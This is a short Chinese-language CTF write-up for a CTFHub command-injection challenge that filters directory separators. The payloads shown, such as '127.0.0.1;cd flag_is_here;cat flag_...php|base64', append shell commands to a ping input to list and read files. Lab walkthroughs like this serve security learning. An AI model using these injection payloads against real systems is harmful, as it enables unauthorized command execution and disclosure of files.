CTFHub-RCE 命令注入-过滤目录分隔符

• 观察源代码

  • 代码里面可以发现过滤了目录分隔符\和/

• 判断是Windows还是Linux

  • 源代码中有

    ping -c 4

    说明是Linux

• 查看有哪些文件

  • 127.0.0.1|ls

• 打开flag文件

  
  • 发现存在一个flag_is_here的文件夹，我们需要打开这个文件夹找到目标文件
  • 我们尝试分步，先利用cd进入该文件夹，再ls查看有哪些文件

    127.0.0.1;cd flag_is_here;ls

  • 再cat这个php文件
  • 可是发现 文本内容显示不出来，所以怀疑可能编码格式问题，有些内容无法显示(同上一节)
  • 我们尝试用base64编码

    127.0.0.1;cd flag_is_here;cat flag_277821912323639.php|base64

  • 再将内容base64 解码一下
  • 成功获取flag